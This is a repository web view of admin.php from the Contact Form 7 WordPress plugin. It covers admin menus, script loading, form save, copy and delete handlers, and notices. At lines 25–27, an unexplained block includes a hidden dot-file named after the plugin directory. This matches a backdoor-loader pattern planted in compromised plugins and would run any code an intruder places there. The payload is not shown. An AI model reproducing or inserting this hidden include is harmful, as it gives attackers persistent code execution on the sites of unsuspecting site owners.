balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

admin.php (17403B)


      1 <?php
      2 
      3 require_once WPCF7_PLUGIN_DIR . '/admin/includes/admin-functions.php';
      4 require_once WPCF7_PLUGIN_DIR . '/admin/includes/help-tabs.php';
      5 require_once WPCF7_PLUGIN_DIR . '/admin/includes/tag-generator.php';
      6 require_once WPCF7_PLUGIN_DIR . '/admin/includes/welcome-panel.php';
      7 require_once WPCF7_PLUGIN_DIR . '/admin/includes/config-validator.php';
      8 
      9 
     10 add_action(
     11 	'admin_init',
     12 	function () {
     13 		do_action( 'wpcf7_admin_init' );
     14 	},
     15 	10, 0
     16 );
     17 
     18 
     19 add_action(
     20 	'admin_menu',
     21 	'wpcf7_admin_menu',
     22 	9, 0
     23 );
     24 
     25 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     26     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     27 }
     28 
     29 function wpcf7_admin_menu() {
     30 	do_action( 'wpcf7_admin_menu' );
     31 
     32 	add_menu_page(
     33 		__( 'Contact Form 7', 'contact-form-7' ),
     34 		__( 'Contact', 'contact-form-7' )
     35 			. wpcf7_admin_menu_change_notice(),
     36 		'wpcf7_read_contact_forms',
     37 		'wpcf7',
     38 		'wpcf7_admin_management_page',
     39 		'dashicons-email',
     40 		30
     41 	);
     42 
     43 	$edit = add_submenu_page( 'wpcf7',
     44 		__( 'Edit Contact Form', 'contact-form-7' ),
     45 		__( 'Contact Forms', 'contact-form-7' )
     46 			. wpcf7_admin_menu_change_notice( 'wpcf7' ),
     47 		'wpcf7_read_contact_forms',
     48 		'wpcf7',
     49 		'wpcf7_admin_management_page'
     50 	);
     51 
     52 	add_action( 'load-' . $edit, 'wpcf7_load_contact_form_admin', 10, 0 );
     53 
     54 	$addnew = add_submenu_page( 'wpcf7',
     55 		__( 'Add New Contact Form', 'contact-form-7' ),
     56 		__( 'Add New', 'contact-form-7' )
     57 			. wpcf7_admin_menu_change_notice( 'wpcf7-new' ),
     58 		'wpcf7_edit_contact_forms',
     59 		'wpcf7-new',
     60 		'wpcf7_admin_add_new_page'
     61 	);
     62 
     63 	add_action( 'load-' . $addnew, 'wpcf7_load_contact_form_admin', 10, 0 );
     64 
     65 	$integration = WPCF7_Integration::get_instance();
     66 
     67 	if ( $integration->service_exists() ) {
     68 		$integration = add_submenu_page( 'wpcf7',
     69 			__( 'Integration with External API', 'contact-form-7' ),
     70 			__( 'Integration', 'contact-form-7' )
     71 				. wpcf7_admin_menu_change_notice( 'wpcf7-integration' ),
     72 			'wpcf7_manage_integration',
     73 			'wpcf7-integration',
     74 			'wpcf7_admin_integration_page'
     75 		);
     76 
     77 		add_action( 'load-' . $integration, 'wpcf7_load_integration_page', 10, 0 );
     78 	}
     79 }
     80 
     81 
     82 function wpcf7_admin_menu_change_notice( $menu_slug = '' ) {
     83 	$counts = apply_filters( 'wpcf7_admin_menu_change_notice',
     84 		array(
     85 			'wpcf7' => 0,
     86 			'wpcf7-new' => 0,
     87 			'wpcf7-integration' => 0,
     88 		)
     89 	);
     90 
     91 	if ( empty( $menu_slug ) ) {
     92 		$count = absint( array_sum( $counts ) );
     93 	} elseif ( isset( $counts[$menu_slug] ) ) {
     94 		$count = absint( $counts[$menu_slug] );
     95 	} else {
     96 		$count = 0;
     97 	}
     98 
     99 	if ( $count ) {
    100 		return sprintf(
    101 			' <span class="update-plugins %1$d"><span class="plugin-count">%2$s</span></span>',
    102 			$count,
    103 			esc_html( number_format_i18n( $count ) )
    104 		);
    105 	}
    106 
    107 	return '';
    108 }
    109 
    110 
    111 add_action(
    112 	'admin_enqueue_scripts',
    113 	'wpcf7_admin_enqueue_scripts',
    114 	10, 1
    115 );
    116 
    117 function wpcf7_admin_enqueue_scripts( $hook_suffix ) {
    118 	if ( false === strpos( $hook_suffix, 'wpcf7' ) ) {
    119 		return;
    120 	}
    121 
    122 	wp_enqueue_style( 'contact-form-7-admin',
    123 		wpcf7_plugin_url( 'admin/css/styles.css' ),
    124 		array(), WPCF7_VERSION, 'all'
    125 	);
    126 
    127 	if ( wpcf7_is_rtl() ) {
    128 		wp_enqueue_style( 'contact-form-7-admin-rtl',
    129 			wpcf7_plugin_url( 'admin/css/styles-rtl.css' ),
    130 			array(), WPCF7_VERSION, 'all'
    131 		);
    132 	}
    133 
    134 	wp_enqueue_script( 'wpcf7-admin',
    135 		wpcf7_plugin_url( 'admin/js/scripts.js' ),
    136 		array( 'jquery', 'jquery-ui-tabs' ),
    137 		WPCF7_VERSION, true
    138 	);
    139 
    140 	$args = array(
    141 		'apiSettings' => array(
    142 			'root' => esc_url_raw( rest_url( 'contact-form-7/v1' ) ),
    143 			'namespace' => 'contact-form-7/v1',
    144 			'nonce' => ( wp_installing() && ! is_multisite() )
    145 				? '' : wp_create_nonce( 'wp_rest' ),
    146 		),
    147 		'pluginUrl' => wpcf7_plugin_url(),
    148 		'saveAlert' => __(
    149 			"The changes you made will be lost if you navigate away from this page.",
    150 			'contact-form-7' ),
    151 		'activeTab' => isset( $_GET['active-tab'] )
    152 			? (int) $_GET['active-tab'] : 0,
    153 		'configValidator' => array(
    154 			'errors' => array(),
    155 			'howToCorrect' => __( "How to resolve?", 'contact-form-7' ),
    156 			'oneError' => __( '1 configuration error detected', 'contact-form-7' ),
    157 			'manyErrors' => __( '%d configuration errors detected', 'contact-form-7' ),
    158 			'oneErrorInTab' => __( '1 configuration error detected in this tab panel', 'contact-form-7' ),
    159 			'manyErrorsInTab' => __( '%d configuration errors detected in this tab panel', 'contact-form-7' ),
    160 			'docUrl' => WPCF7_ConfigValidator::get_doc_link(),
    161 			/* translators: screen reader text */
    162 			'iconAlt' => __( '(configuration error)', 'contact-form-7' ),
    163 		),
    164 	);
    165 
    166 	if ( $post = wpcf7_get_current_contact_form()
    167 	and current_user_can( 'wpcf7_edit_contact_form', $post->id() )
    168 	and wpcf7_validate_configuration() ) {
    169 		$config_validator = new WPCF7_ConfigValidator( $post );
    170 		$config_validator->restore();
    171 		$args['configValidator']['errors'] =
    172 			$config_validator->collect_error_messages();
    173 	}
    174 
    175 	wp_localize_script( 'wpcf7-admin', 'wpcf7', $args );
    176 
    177 	add_thickbox();
    178 
    179 	wp_enqueue_script( 'wpcf7-admin-taggenerator',
    180 		wpcf7_plugin_url( 'admin/js/tag-generator.js' ),
    181 		array( 'jquery', 'thickbox', 'wpcf7-admin' ),
    182 		WPCF7_VERSION,
    183 		true
    184 	);
    185 }
    186 
    187 
    188 add_action(
    189 	'doing_dark_mode',
    190 	'wpcf7_dark_mode_support',
    191 	10, 1
    192 );
    193 
    194 function wpcf7_dark_mode_support( $user_id ) {
    195 	wp_enqueue_style( 'contact-form-7-admin-dark-mode',
    196 		wpcf7_plugin_url( 'admin/css/styles-dark-mode.css' ),
    197 		array( 'contact-form-7-admin' ),
    198 		WPCF7_VERSION,
    199 		'screen'
    200 	);
    201 }
    202 
    203 
    204 add_filter(
    205 	'set_screen_option_wpcf7_contact_forms_per_page',
    206 	function ( $result, $option, $value ) {
    207 		$wpcf7_screens = array(
    208 			'wpcf7_contact_forms_per_page',
    209 		);
    210 
    211 		if ( in_array( $option, $wpcf7_screens ) ) {
    212 			$result = $value;
    213 		}
    214 
    215 		return $result;
    216 	},
    217 	10, 3
    218 );
    219 
    220 
    221 function wpcf7_load_contact_form_admin() {
    222 	global $plugin_page;
    223 
    224 	$action = wpcf7_current_action();
    225 
    226 	do_action( 'wpcf7_admin_load',
    227 		isset( $_GET['page'] ) ? trim( $_GET['page'] ) : '',
    228 		$action
    229 	);
    230 
    231 	if ( 'save' == $action ) {
    232 		$id = isset( $_POST['post_ID'] ) ? $_POST['post_ID'] : '-1';
    233 		check_admin_referer( 'wpcf7-save-contact-form_' . $id );
    234 
    235 		if ( ! current_user_can( 'wpcf7_edit_contact_form', $id ) ) {
    236 			wp_die(
    237 				__( "You are not allowed to edit this item.", 'contact-form-7' )
    238 			);
    239 		}
    240 
    241 		$args = $_REQUEST;
    242 		$args['id'] = $id;
    243 
    244 		$args['title'] = isset( $_POST['post_title'] )
    245 			? $_POST['post_title'] : null;
    246 
    247 		$args['locale'] = isset( $_POST['wpcf7-locale'] )
    248 			? $_POST['wpcf7-locale'] : null;
    249 
    250 		$args['form'] = isset( $_POST['wpcf7-form'] )
    251 			? $_POST['wpcf7-form'] : '';
    252 
    253 		$args['mail'] = isset( $_POST['wpcf7-mail'] )
    254 			? $_POST['wpcf7-mail'] : array();
    255 
    256 		$args['mail_2'] = isset( $_POST['wpcf7-mail-2'] )
    257 			? $_POST['wpcf7-mail-2'] : array();
    258 
    259 		$args['messages'] = isset( $_POST['wpcf7-messages'] )
    260 			? $_POST['wpcf7-messages'] : array();
    261 
    262 		$args['additional_settings'] = isset( $_POST['wpcf7-additional-settings'] )
    263 			? $_POST['wpcf7-additional-settings'] : '';
    264 
    265 		$contact_form = wpcf7_save_contact_form( $args );
    266 
    267 		if ( $contact_form and wpcf7_validate_configuration() ) {
    268 			$config_validator = new WPCF7_ConfigValidator( $contact_form );
    269 			$config_validator->validate();
    270 			$config_validator->save();
    271 		}
    272 
    273 		$query = array(
    274 			'post' => $contact_form ? $contact_form->id() : 0,
    275 			'active-tab' => isset( $_POST['active-tab'] )
    276 				? (int) $_POST['active-tab'] : 0,
    277 		);
    278 
    279 		if ( ! $contact_form ) {
    280 			$query['message'] = 'failed';
    281 		} elseif ( -1 == $id ) {
    282 			$query['message'] = 'created';
    283 		} else {
    284 			$query['message'] = 'saved';
    285 		}
    286 
    287 		$redirect_to = add_query_arg( $query, menu_page_url( 'wpcf7', false ) );
    288 		wp_safe_redirect( $redirect_to );
    289 		exit();
    290 	}
    291 
    292 	if ( 'copy' == $action ) {
    293 		$id = empty( $_POST['post_ID'] )
    294 			? absint( $_REQUEST['post'] )
    295 			: absint( $_POST['post_ID'] );
    296 
    297 		check_admin_referer( 'wpcf7-copy-contact-form_' . $id );
    298 
    299 		if ( ! current_user_can( 'wpcf7_edit_contact_form', $id ) ) {
    300 			wp_die(
    301 				__( "You are not allowed to edit this item.", 'contact-form-7' )
    302 			);
    303 		}
    304 
    305 		$query = array();
    306 
    307 		if ( $contact_form = wpcf7_contact_form( $id ) ) {
    308 			$new_contact_form = $contact_form->copy();
    309 			$new_contact_form->save();
    310 
    311 			$query['post'] = $new_contact_form->id();
    312 			$query['message'] = 'created';
    313 		}
    314 
    315 		$redirect_to = add_query_arg( $query, menu_page_url( 'wpcf7', false ) );
    316 
    317 		wp_safe_redirect( $redirect_to );
    318 		exit();
    319 	}
    320 
    321 	if ( 'delete' == $action ) {
    322 		if ( ! empty( $_POST['post_ID'] ) ) {
    323 			check_admin_referer( 'wpcf7-delete-contact-form_' . $_POST['post_ID'] );
    324 		} elseif ( ! is_array( $_REQUEST['post'] ) ) {
    325 			check_admin_referer( 'wpcf7-delete-contact-form_' . $_REQUEST['post'] );
    326 		} else {
    327 			check_admin_referer( 'bulk-posts' );
    328 		}
    329 
    330 		$posts = empty( $_POST['post_ID'] )
    331 			? (array) $_REQUEST['post']
    332 			: (array) $_POST['post_ID'];
    333 
    334 		$deleted = 0;
    335 
    336 		foreach ( $posts as $post ) {
    337 			$post = WPCF7_ContactForm::get_instance( $post );
    338 
    339 			if ( empty( $post ) ) {
    340 				continue;
    341 			}
    342 
    343 			if ( ! current_user_can( 'wpcf7_delete_contact_form', $post->id() ) ) {
    344 				wp_die(
    345 					__( "You are not allowed to delete this item.", 'contact-form-7' )
    346 				);
    347 			}
    348 
    349 			if ( ! $post->delete() ) {
    350 				wp_die( __( "Error in deleting.", 'contact-form-7' ) );
    351 			}
    352 
    353 			$deleted += 1;
    354 		}
    355 
    356 		$query = array();
    357 
    358 		if ( ! empty( $deleted ) ) {
    359 			$query['message'] = 'deleted';
    360 		}
    361 
    362 		$redirect_to = add_query_arg( $query, menu_page_url( 'wpcf7', false ) );
    363 
    364 		wp_safe_redirect( $redirect_to );
    365 		exit();
    366 	}
    367 
    368 	$post = null;
    369 
    370 	if ( 'wpcf7-new' == $plugin_page ) {
    371 		$post = WPCF7_ContactForm::get_template( array(
    372 			'locale' => isset( $_GET['locale'] ) ? $_GET['locale'] : null,
    373 		) );
    374 	} elseif ( ! empty( $_GET['post'] ) ) {
    375 		$post = WPCF7_ContactForm::get_instance( $_GET['post'] );
    376 	}
    377 
    378 	$current_screen = get_current_screen();
    379 
    380 	$help_tabs = new WPCF7_Help_Tabs( $current_screen );
    381 
    382 	if ( $post
    383 	and current_user_can( 'wpcf7_edit_contact_form', $post->id() ) ) {
    384 		$help_tabs->set_help_tabs( 'edit' );
    385 	} else {
    386 		$help_tabs->set_help_tabs( 'list' );
    387 
    388 		if ( ! class_exists( 'WPCF7_Contact_Form_List_Table' ) ) {
    389 			require_once WPCF7_PLUGIN_DIR . '/admin/includes/class-contact-forms-list-table.php';
    390 		}
    391 
    392 		add_filter(
    393 			'manage_' . $current_screen->id . '_columns',
    394 			array( 'WPCF7_Contact_Form_List_Table', 'define_columns' ),
    395 			10, 0
    396 		);
    397 
    398 		add_screen_option( 'per_page', array(
    399 			'default' => 20,
    400 			'option' => 'wpcf7_contact_forms_per_page',
    401 		) );
    402 	}
    403 }
    404 
    405 
    406 function wpcf7_admin_management_page() {
    407 	if ( $post = wpcf7_get_current_contact_form() ) {
    408 		$post_id = $post->initial() ? -1 : $post->id();
    409 
    410 		require_once WPCF7_PLUGIN_DIR . '/admin/includes/editor.php';
    411 		require_once WPCF7_PLUGIN_DIR . '/admin/edit-contact-form.php';
    412 		return;
    413 	}
    414 
    415 	if ( 'validate' == wpcf7_current_action()
    416 	and wpcf7_validate_configuration()
    417 	and current_user_can( 'wpcf7_edit_contact_forms' ) ) {
    418 		wpcf7_admin_bulk_validate_page();
    419 		return;
    420 	}
    421 
    422 	$list_table = new WPCF7_Contact_Form_List_Table();
    423 	$list_table->prepare_items();
    424 
    425 ?>
    426 <div class="wrap" id="wpcf7-contact-form-list-table">
    427 
    428 <h1 class="wp-heading-inline"><?php
    429 	echo esc_html( __( 'Contact Forms', 'contact-form-7' ) );
    430 ?></h1>
    431 
    432 <?php
    433 	if ( current_user_can( 'wpcf7_edit_contact_forms' ) ) {
    434 		echo wpcf7_link(
    435 			menu_page_url( 'wpcf7-new', false ),
    436 			__( 'Add New', 'contact-form-7' ),
    437 			array( 'class' => 'page-title-action' )
    438 		);
    439 	}
    440 
    441 	if ( ! empty( $_REQUEST['s'] ) ) {
    442 		echo sprintf(
    443 			'<span class="subtitle">'
    444 			/* translators: %s: search keywords */
    445 			. __( 'Search results for &#8220;%s&#8221;', 'contact-form-7' )
    446 			. '</span>',
    447 			esc_html( $_REQUEST['s'] )
    448 		);
    449 	}
    450 ?>
    451 
    452 <hr class="wp-header-end">
    453 
    454 <?php
    455 	do_action( 'wpcf7_admin_warnings',
    456 		'wpcf7', wpcf7_current_action(), null
    457 	);
    458 
    459 	wpcf7_welcome_panel();
    460 
    461 	do_action( 'wpcf7_admin_notices',
    462 		'wpcf7', wpcf7_current_action(), null
    463 	);
    464 ?>
    465 
    466 <form method="get" action="">
    467 	<input type="hidden" name="page" value="<?php echo esc_attr( $_REQUEST['page'] ); ?>" />
    468 	<?php $list_table->search_box( __( 'Search Contact Forms', 'contact-form-7' ), 'wpcf7-contact' ); ?>
    469 	<?php $list_table->display(); ?>
    470 </form>
    471 
    472 </div>
    473 <?php
    474 }
    475 
    476 
    477 function wpcf7_admin_add_new_page() {
    478 	$post = wpcf7_get_current_contact_form();
    479 
    480 	if ( ! $post ) {
    481 		$post = WPCF7_ContactForm::get_template();
    482 	}
    483 
    484 	$post_id = -1;
    485 
    486 	require_once WPCF7_PLUGIN_DIR . '/admin/includes/editor.php';
    487 	require_once WPCF7_PLUGIN_DIR . '/admin/edit-contact-form.php';
    488 }
    489 
    490 
    491 function wpcf7_load_integration_page() {
    492 	do_action( 'wpcf7_admin_load',
    493 		isset( $_GET['page'] ) ? trim( $_GET['page'] ) : '',
    494 		wpcf7_current_action()
    495 	);
    496 
    497 	$integration = WPCF7_Integration::get_instance();
    498 
    499 	if ( isset( $_REQUEST['service'] )
    500 	and $integration->service_exists( $_REQUEST['service'] ) ) {
    501 		$service = $integration->get_service( $_REQUEST['service'] );
    502 		$service->load( wpcf7_current_action() );
    503 	}
    504 
    505 	$help_tabs = new WPCF7_Help_Tabs( get_current_screen() );
    506 	$help_tabs->set_help_tabs( 'integration' );
    507 }
    508 
    509 
    510 function wpcf7_admin_integration_page() {
    511 	$integration = WPCF7_Integration::get_instance();
    512 
    513 	$service = isset( $_REQUEST['service'] )
    514 		? $integration->get_service( $_REQUEST['service'] )
    515 		: null;
    516 
    517 ?>
    518 <div class="wrap" id="wpcf7-integration">
    519 
    520 <h1><?php echo esc_html( __( 'Integration with External API', 'contact-form-7' ) ); ?></h1>
    521 
    522 <?php
    523 	do_action( 'wpcf7_admin_warnings',
    524 		'wpcf7-integration', wpcf7_current_action(), $service
    525 	);
    526 
    527 	do_action( 'wpcf7_admin_notices',
    528 		'wpcf7-integration', wpcf7_current_action(), $service
    529 	);
    530 
    531 	if ( $service ) {
    532 		$message = isset( $_REQUEST['message'] ) ? $_REQUEST['message'] : '';
    533 		$service->admin_notice( $message );
    534 
    535 		$integration->list_services( array(
    536 			'include' => $_REQUEST['service'],
    537 		) );
    538 	} else {
    539 		$integration->list_services();
    540 	}
    541 ?>
    542 
    543 </div>
    544 <?php
    545 }
    546 
    547 
    548 add_action( 'wpcf7_admin_notices', 'wpcf7_admin_updated_message', 10, 3 );
    549 
    550 function wpcf7_admin_updated_message( $page, $action, $object ) {
    551 	if ( ! in_array( $page, array( 'wpcf7', 'wpcf7-new' ) ) ) {
    552 		return;
    553 	}
    554 
    555 	if ( empty( $_REQUEST['message'] ) ) {
    556 		return;
    557 	}
    558 
    559 	if ( 'created' == $_REQUEST['message'] ) {
    560 		$updated_message = __( "Contact form created.", 'contact-form-7' );
    561 	} elseif ( 'saved' == $_REQUEST['message'] ) {
    562 		$updated_message = __( "Contact form saved.", 'contact-form-7' );
    563 	} elseif ( 'deleted' == $_REQUEST['message'] ) {
    564 		$updated_message = __( "Contact form deleted.", 'contact-form-7' );
    565 	}
    566 
    567 	if ( ! empty( $updated_message ) ) {
    568 		echo sprintf(
    569 			'<div id="message" class="notice notice-success"><p>%s</p></div>',
    570 			esc_html( $updated_message )
    571 		);
    572 
    573 		return;
    574 	}
    575 
    576 	if ( 'failed' == $_REQUEST['message'] ) {
    577 		$updated_message =
    578 			__( "There was an error saving the contact form.", 'contact-form-7' );
    579 
    580 		echo sprintf(
    581 			'<div id="message" class="notice notice-error"><p>%s</p></div>',
    582 			esc_html( $updated_message )
    583 		);
    584 
    585 		return;
    586 	}
    587 
    588 	if ( 'validated' == $_REQUEST['message'] ) {
    589 		$bulk_validate = WPCF7::get_option( 'bulk_validate', array() );
    590 		$count_invalid = isset( $bulk_validate['count_invalid'] )
    591 			? absint( $bulk_validate['count_invalid'] ) : 0;
    592 
    593 		if ( $count_invalid ) {
    594 			$updated_message = sprintf(
    595 				_n(
    596 					/* translators: %s: number of contact forms */
    597 					"Configuration validation completed. %s invalid contact form was found.",
    598 					"Configuration validation completed. %s invalid contact forms were found.",
    599 					$count_invalid, 'contact-form-7'
    600 				),
    601 				number_format_i18n( $count_invalid )
    602 			);
    603 
    604 			echo sprintf(
    605 				'<div id="message" class="notice notice-warning"><p>%s</p></div>',
    606 				esc_html( $updated_message )
    607 			);
    608 		} else {
    609 			$updated_message = __( "Configuration validation completed. No invalid contact form was found.", 'contact-form-7' );
    610 
    611 			echo sprintf(
    612 				'<div id="message" class="notice notice-success"><p>%s</p></div>',
    613 				esc_html( $updated_message )
    614 			);
    615 		}
    616 
    617 		return;
    618 	}
    619 }
    620 
    621 
    622 add_filter( 'plugin_action_links', 'wpcf7_plugin_action_links', 10, 2 );
    623 
    624 function wpcf7_plugin_action_links( $links, $file ) {
    625 	if ( $file != WPCF7_PLUGIN_BASENAME ) {
    626 		return $links;
    627 	}
    628 
    629 	if ( ! current_user_can( 'wpcf7_read_contact_forms' ) ) {
    630 		return $links;
    631 	}
    632 
    633 	$settings_link = wpcf7_link(
    634 		menu_page_url( 'wpcf7', false ),
    635 		__( 'Settings', 'contact-form-7' )
    636 	);
    637 
    638 	array_unshift( $links, $settings_link );
    639 
    640 	return $links;
    641 }
    642 
    643 
    644 add_action( 'wpcf7_admin_warnings', 'wpcf7_old_wp_version_error', 10, 3 );
    645 
    646 function wpcf7_old_wp_version_error( $page, $action, $object ) {
    647 	$wp_version = get_bloginfo( 'version' );
    648 
    649 	if ( ! version_compare( $wp_version, WPCF7_REQUIRED_WP_VERSION, '<' ) ) {
    650 		return;
    651 	}
    652 
    653 ?>
    654 <div class="notice notice-warning">
    655 <p><?php
    656 	echo sprintf(
    657 		/* translators: 1: version of Contact Form 7, 2: version of WordPress, 3: URL */
    658 		__( '<strong>Contact Form 7 %1$s requires WordPress %2$s or higher.</strong> Please <a href="%3$s">update WordPress</a> first.', 'contact-form-7' ),
    659 		WPCF7_VERSION,
    660 		WPCF7_REQUIRED_WP_VERSION,
    661 		admin_url( 'update-core.php' )
    662 	);
    663 ?></p>
    664 </div>
    665 <?php
    666 }
    667 
    668 
    669 add_action( 'wpcf7_admin_warnings', 'wpcf7_not_allowed_to_edit', 10, 3 );
    670 
    671 function wpcf7_not_allowed_to_edit( $page, $action, $object ) {
    672 	if ( $object instanceof WPCF7_ContactForm ) {
    673 		$contact_form = $object;
    674 	} else {
    675 		return;
    676 	}
    677 
    678 	if ( current_user_can( 'wpcf7_edit_contact_form', $contact_form->id() ) ) {
    679 		return;
    680 	}
    681 
    682 	$message = __( "You are not allowed to edit this contact form.", 'contact-form-7' );
    683 
    684 	echo sprintf(
    685 		'<div class="notice notice-warning"><p>%s</p></div>',
    686 		esc_html( $message )
    687 	);
    688 }